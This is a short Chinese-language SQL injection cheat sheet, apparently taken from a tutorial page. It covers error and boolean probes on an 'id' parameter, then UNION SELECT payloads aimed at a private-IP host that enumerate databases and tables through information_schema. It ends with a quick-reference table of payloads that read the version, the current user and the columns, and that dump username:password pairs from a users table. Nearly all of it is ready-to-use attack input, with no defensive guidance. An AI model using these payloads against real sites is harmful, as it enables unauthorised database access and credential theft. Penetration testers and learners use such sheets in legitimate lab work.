# 经典测试方法?id=1' -- 报错测试?id=1 and 1=1 -- 真条件,正常返回?id=1 and 1=2 -- 假条件,无返回或异常?id=1' --+ -- 注释测试(MySQL)?id=1;-- -- 注释测试(SQL Server)
http6 行
2. 查询当前数据库所有库
-- 查询语法SELECT schema_name FROM information_schema.schemata-- 实际注入Payloadhttp://192.168.0.217/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata %23
sql5 行
3. 查询当前库所有表
-- 实际注入Payloadhttp://192.168.0.217/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
sql2 行
4. 常用Payload速查
目的
Payload
查版本
union select 1,2,version()
查当前库
union select 1,2,database()
查当前用户
union select 1,2,user()
查所有库
union select 1,2,group_concat(schema_name) from information_schema.schemata
查所有表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查所有列
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
查数据
union select 1,2,group_concat(username,':',password) from users